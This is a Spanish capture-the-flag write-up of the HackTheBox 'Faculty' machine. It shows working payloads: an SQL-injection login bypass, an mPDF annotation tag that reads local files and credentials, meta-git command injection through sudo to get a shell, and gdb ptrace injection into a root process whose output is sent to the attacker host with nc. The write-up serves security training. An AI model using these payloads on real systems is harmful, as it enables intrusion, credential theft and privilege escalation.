HackTheBox - Faculty


Creado
HackTheBox - Faculty

Máquina Linux nivel medio. SQLi bypass auth, LFI en pequeños comentarios de mpdf, inyección de comandos con meta-git y debug en procesos del sistema para ejecutar cosas traviesas mediante capabilities y gdb.

TL;DR (Spanish writeup)

Creada por: gbyolo.

¿Capacidad?

Servicio web con fallitas locochonas, bypass de logeo mediante SQLi y generación de PDFs con información “extra” (una falla en la librería mpdf en la que mediante anotaciones robaremos archivos internos del sistema, un LFI en toda regla). Leeremos objetos con credenciales para generar una sesión como el usuario gbyolo.

Este usuario puede jugar con el binario meta-git siendo el usuario developer, encontraremos un problema que permite inyectar comandos en el sistema, lo usaremos para convertirnos en developer.

Como paso final tendremos la capability cap_sys_ptrace asignada al programa gdb, con esto en mente llegaremos a “debuggear” procesos de cualquier usuario y apoyados de la función system() (en el debug de gdb) retaremos al sistema buscando cuál proceso nos puede ejecutar comandos. Usaremos esto para obtener una terminal como root.

Clasificación de la máquina según la gentesita

Vulnerabilidades conocidas y vainas realistas, me gusta.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

El milo es bien rico.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Movimiento lateral: meta-git.
  5. Escalada de privilegios.

Reconocimiento #

Como siempre iniciamos con un escaneo de servicios (puertos) activos, esto para saber a qué tenemos acceso y plantear nuestras posibles rutas de enumeración, usaré nmap:

nmap -sS -p- --open -v 10.10.11.169 -oG initScan
Parámetro Descripción
-sS Con esto evitamos que el sistema establezca conexión con el puerto, solo queremos saber si está arriba (lo usamos, ya que sin él va muy lento el escaneo)
-p- Escanea todos los 65535
–open Solo los puertos que están abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard

Obtenemos los siguientes servicios activos:

Puerto Descripción
22 SSH: Acceso a una línea de comandos en el sistema de manera segura.
80 HTTP: Servidor web.

Ahora aprovecharemos el uso de nmap para ver versiones de software y que con algunos scripts que tiene por default nos diga si encuentra algo más:

+ ~ +(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno

❯ extractPorts initScan 
[*] Extracting information ...

    [*] IP Address: 10.10.11.169
    [*] Ports: 22,80

[*] Ports copied to clipboard

)+ ~ +

nmap -sS -p 22,80 -sC -sV 10.10.11.169 -oN portScan
Parámetro Descripción
-p Escaneo de puertos específicos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Tenemos algunas cositas relevantes:

Puerto Servicio Versión
80 HTTP nginx 1.18.0
  • El título: School Faculty Scheduling System (suena algo que debamos buscar en internet, quizás es real o fake, ahorita miramos)
  • Nos filtra el archivo login.php

Por ahora no tenemos nada más, así que empecemos a jugar.

Enumeración #

Contra SSH no vimos nada llamativo, entonces de cabeza contra el servidor web…

Si hacemos una petición nos redirige al dominio faculty.htb, pero como el sistema no entiende que significa eso, pues obtenemos un error. Apoyados del objeto /etc/hosts para que el sistema entienda que debe resolver lo que sea que contenga el dominio faculty.htb con respecto a la dirección IP 10.10.11.169 (:

❯ cat /etc/hosts
...
10.10.11.169    faculty.htb
...

Y si volvemos a hacer la petición (ya sea al dominio o a la IP) obtenemos:

Nos pide un ID para ingresar, pero claro, no tenemos nada aún. Revisando el código fuente de ese apartado notamos que al hacer la petición pasan dos cosas interesantes:

  • Usa una URL llamativa (además de tener una nueva carpeta a revisar: admin).
  • Está jugando con serialización de datos (pueda que debamos explotar alguna deserialización insegura).

Y si le pegamos a esa URL vemos que mediante un error se está filtrando un path del sistema:

Así que nos lo guardamos en nuestras notas y ahora testeamos si /admin nos responde algo:

Upa, ahora contamos con dos logins, pues probemos algunos payloads juguetones contra ellos, empecemos con el clásico, una inyección SQLi tal que así:

a' or 1=1#

(((((

### Podemos pensar que la consulta a la DB seria algo así:
SELECT username,password FROM faculty WHERE username='LO_QUE_COLOCAMOS' AND password='LO_QUE_COLOCAMOS';
### Osea:
SELECT username,password FROM faculty WHERE username='a' or 1=1# en caso de que username sea el vulnerable;
### Como 1=1 es verdadero eso permite la inyección

)))))

Si hacemos la petición con los payloads vemoooooooos:

Somos el usuario Administrator y tenemos acceso a varios ítems del sitio web, pues a explorar.

Investigando sobre School Faculty Scheduling System y posibles vulns notamos que es un software publico y que efectivamente tiene un SQLi Authentication Bypass. Me gusta.

Revisando y revisando en algunos apartados existe la funcionalidad de generar un reporte en PDF, por ejemplo en la lista de “estudiantes” (no es literal, pero así los entiendo) vemos:

Y si damos clic en PDF nos genera:

Todo normal en el PDF, peeero si revisamos la URL notamos algo curioso:

  • ¿mpdf?

Lo primero que pensé cuando lo vi es que probablemente sea el gestor del PDF, nuestro amigo Google nos lo confirmó:

mPDF is a PHP library which generates PDF files from UTF-8 encoded HTML.” ~ mpdf.github.io

Con esto en mente podemos buscar posibles vulnerabilidades para ella.

Finalmente, llegamos a este exploit:

Un LFI nos permite como atacantes tener acceso a archivos los cuales no deberiamos poder ver.

Pero no me fue claro que debía de hacer con el payload y como usarlo, así que profundice en internet usando “mPDF” Local File Inclusion.

Explotación #

Caemos en este post:

En él nos cuenta como un sitio web al que le estaba haciendo pruebas también generaba reportes en PDF, así que empezó a investigar como se generaba ese PDF y que podría explotar, lo que encontró fue INCREÍBLE (jajajklkadsjf) :P Pero en serio, es un lindo post, cáiganle.

Él tambien nos indica una forma de conocer la version exacta de mPDF que estamos ejecutando, esto haciendo una petición a http://faculty.htb/mpdf/CHANGELOG.txt. En nuestro caso tenemos la 6.0. (Otra forma es descargar algún PDF y en su metadata veremos la misma versión.)

Lo primero es interceptar la petición para entender bien el cómo viaja e interpreta la data el sistema (usaré BurpSuite). Vamos a cualquier apartado que genera PDF, levantamos proxy y damos clic en PDF para ver en Burp:

Envia la petición al Repeater (para no tener que estar interceptando todo el tiempo si no ya tenerla guardada y que sea solo darle Send).

Es una petición con bastantes datos encodeados, ya que si (por experiencia sabemos que es base64) vamos a un decodificador de Base64 encontramos:

Una cadena en formato URL Encode, si intentamos decodearla finalmente llegamos a este resultado:

Ahí tenemos los datos con los que se forma/crea/estructura/gestiona/construye el objeto PDF y pues son tags en HTML (: La cosita es que en la versión 7.0.0 (recuerda, tenemos la 6.0) se arregló un bug que permitía incluir archivos del sistema mediante anotaciones (lo que puede ser llamado Inclusión Local de Archivos (LFI)), acá está el issue donde se anunció la vuln:

Lo que genera el LFI es el tag <annotation> dentro de la data que genera el PDF.

Y el payload que usó el investigador fue:

<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195"/>

El objeto /etc/passwd contiene los usuarios del sistema.


Logrando LFI anotando en PDFs (?) 📌

Así que metámosle mecha, solo debemos agregar ese payload en alguna parte de la data (lo agregaré al final de toooodo) y con eso crear el PDF 🔥 🔥 🔥

Tomamos el HTML obtenido, agregamos el tag:

Lo URL encodeamos (una vez, la segunda no importa realmente), convertimos a Base64 ese resultado, modificamos el campo pdf en la petición con la nueva data y le damos clic a Send:

Obtenemos el nombre del PDF generado y simplemente lo concatenamos a http://faculty.htb/mpdf/tmp/ y en la web a simple vista no tenemos nada, peeeero (esto lo obtuve del post) si pasamos el mouse por el final del último texto se nos filtrará algo así:

Y si damos cliiiiiic nos descargará un objeto llamado passwd ohhhhh, si revisamos su contenidoooooo:

LISTOOOOOOOOOOOOOOOOOOOOOOOOOS! Tenemos una inclusión local de archivos bien hermosa, ihssss.

Del objeto destacamos al usuario gbyolo, developer y claramente a root como únicos usuarios que tienen acceso a una terminal de comandos (:

Pues aprovechemos el LFI para ver más objetos, por ejemplo el login (que explotamos). Si recordamos habíamos encontrado una ruta: /var/www/scheduling, pues podemos pensar que lo siguiente seria: /admin/login.php, si no, pues hay que jugar con posibles combinaciones.

Hacemos todo el proceso yyyy al descargarlo:

Efectivamente, es la ruta (: Algo que notamos es que llama al objeto db_connect.php que debe ser eso, el que hace la conexión con la base de datos, esos archivos por lo general contienen credenciales para la interacción correcta entre DB y sitio web, veámoslo:

Sis isiiisiis si is, vemos el usuario sched con su contraseña y la base de datos scheduling_db. Pero acá podemos ser juguetones, quizás exista otro usuario (developer, gbyolo o root) que también tenga esa contraseña asignada??? ¿Posiblemente la persona que configuro el servidor SQL asigno su propia contraseña al servicio? Pues hay que probar una reutilización de contraseñas…

Al probar con gbyolo nos damos cuenta que sí (:

ssh gbyolo@10.10.11.169

Y estamos dentro del sistema 😇

meta-git: developer #

Validando que permisos tenemos contra otros usuarios del sistema vemos uno curioso:

Podemos ejecutar el binario /usr/local/bin/meta-git como el usuario developer :o

Basicamente sirve para controlar datos de respositorios. meta-git

Investigando que se puede hacer con esto y si hay alguna forma de explotarlo encontramos:

Al parecer el programa tiene un bug que permite inyectar comandos en el sistema. Esto se logra, ya que al ejecutar el binario con la opción clone este toma parámetros del usuario que son ejecutados directamente en el sistema sin ninguna sanitización y que claramente pueden llegar a ser malignos.

Pues probemos a ver, la explotación que proponen los posts es bien sencilla:

meta-git clone 'sss||touch HACKED'

Intentará clonar el repo sss o en su lugar ejecutar el comando touch HACKED (o sea, crear un archivo llamado HACKED), nosotros vamos a ir directo a probar salsita, intentemos obtener una /bin/bash:

# Creamos entorno de trabajo (el 'clone' necesita un sitio con permisos de escritura)
mkdir /tmp/test; cd /tmp/test
sudo -u developer /usr/local/bin/meta-git clone 'hola||bash'

El repo hola no existe, entonces ejecutará una bash como el usuario developer:

YYYYY efectivamente obtuvimos nuestra terminal como el usuario developer (:

En su home tiene la carpeta /.ssh y dentro su llave privada (id_rsa), recordemos que podemos usar la llave privada como “contraseña” para intentar obtener una terminal, solo debemos copiarnos su contenido, crear un archivo en nuestro sistema con él, darle permisos y ejecutar el SSH:

chmod 600 developer.id_rsa
ssh developer@10.10.11.169 -i developer.id_rsa

Y así ya obtendríamos una terminal separada de los procesos de gbyolo y meta-git. Podemos hacerla linda (en tal caso) jugando con la variable PS1.

Escalada de privilegios #

Arriba vimos algo llamativo al listar los grupos a los que está asociado el usuario developer ¿si viste?:

developer@faculty:~$ id
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)

Los dos son juguetones, veamos si existen ítems relacionados con ellos:

find / -group faculty 2>/dev/null

Nada, pero con debug existe un objeto:

developer@faculty:~$ find / -group debug 2>/dev/null
/usr/bin/gdb

Y solo root y los usuarios dentro del grupo debug pueden ejecutarlo:

developer@faculty:~$ ls -la /usr/bin/gdb
-rwxr-x--- 1 root debug 8440200 Dec  8  2021 /usr/bin/gdb

GDB es un depurador, lo que permite es inspeccionar lo que hace un programa en su ejecución. Como usar GDB.

Como el owner del binario es root, pero no vemos que sea SUID o que podamos ejecutarlo como él mediante sudo (para intuir una escalada de privilegios), podemos pensar que debe haber algo (que debemos encontrar) que nos permitirá manipular permisos, objetos, acciones, o yo qué sé. (Por ejemplo, el uid (como cuando le agregamos el permiso +s a la /bin/bash para que al ejecutarla con el parámetro -p sea lanzada como el owner del objeto (o sea root)))

Esto nos hace pensar en las capabilities (que son peeeequeñas instrucciones privilegiadas que se le pueden asignar a los objetos del sistema), listemos cuáles existen y si alguna está relacionada con gdb, si sí, toma forma nuestro posible ataque (si no, a seguir buscando para qué tenemos acceso a ese objeto):


getcap -r / 2>/dev/null

EPA, vemos nuestro binario y una capability llamada: cap_sys_ptrace, indaguemos.

Esta cap permite controlar (o “debuggear”) procesos del sistema y a su vez tener una traza de todas las llamadas que hace el proceso al sistema :O

UPA, esto está estupefactuoso :P

Buscando también vemos como alguien enfatiza en el peligro de esta capability:

Y el exploitable nos lleva a este post:

Donde el creador encuentra la cap asignada a Python y después de pasos locochones logra una explotar procesos ejecutados por root para convertirse en él (pero el mismo proceso no nos funciona).

Revisemos si realmente podemos “meternos” en algún proceso que esté ejecutando el usuario root:

ps faux | grep root

ps muestra info de los procesos activos.

Y con gdb le indicamos el PID así:

gdb -p 1  # por ejemplo el número 1

Si lo ejecutamos, efectivamente “entramos” en el proceso que está siendo ejecutado por el usuario root (nosotros siendo el usuario developer) :O

Entonces acá entra en juego nuestra mente… Debemos jugar con algún (o algunos) proceso(s) indicando posibles explotaciones que aprovechen que esa task está siendo ejecutado por root ¿tiene sentido? Me gusta.

Dando vueltas por Internet retomamos el post de las capabilities y un apartado que nos pone alertas:

“If GDB is installed you can debug a process from the host and make it call the system function.” ~ PE - Linux Capabilities.

Uhhhhhhhhhhhhhhhhhh, si logramos “debuggear” (ya vimos que si) procesos podemos apoyarnos de la función system para intentar ejecutar comandos en el sistema (que serán ejecutados por el owner del procesoooooooooo, o sea root). La cagaa es que dice necesitar otra capability que no hemos visto. Pero como estamos aquí pa probar cositas, juguemos con el proceso 1 a ver si logramos algo:

La inyección es sencilla con la función system:

call (void)system("COMANDO_A_EJECUTAR")

Probemos levantar un puerto en nuestro sistema (el 4433) y enviarnos por ahí el resultado del comando id, así tal que así:

❱ nc -lvp 4433
listening on [any] 4433 ...
call (void)system("id | nc 10.10.14.179 4433")

Si lo enviamos obtenemos:

No symbol "system" in current context.

Pues la función system no existe entre los posibles llamados del propio proceso. Pero eso fue impedimento, ya que teníamos más de 20 PIDs para probar (intente automatizarlo, pero nada, pura bulla), después de colocar esa línea en todos y cada uno de los procesos llegamos al PID (en mi captura, no necesariamente debemos tener los mismos) número 713 (que hace referencia a una tarea de Python), que al enviar la línea juguetona la respuesta es aún más juguetona:

AYAYAYAIII, que forma loca (pero con muuucho sentido) de vulnerar un sistema y ser root!! Te dejo la tarea de entablar una reverse shell y ponerla linda (:

Ya hemos terminado :P

Veamos las flags:

Me gusto mucho la intrusión, ese LFI fue fantástico explotando las anotaciones de un PDF 🤯 El tema de meta-git también fue bastante real y lindo. Y finalmente el jugar con procesos de otros usuarios fue bien loco, aunque no entendí la razón de que si uno listaba las funciones disponibles de ese proceso (con TAB TAB para autocompletar call (void)ACA_EL_TAP_TAP) no estaba system, pero aun así lo ejecutó, de resto muy bien y entretenido camino.

Y nada, fin del comunicado. Descansen y tengan presente que hay que romper de todoooooooooooooooooooooooooooooO!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus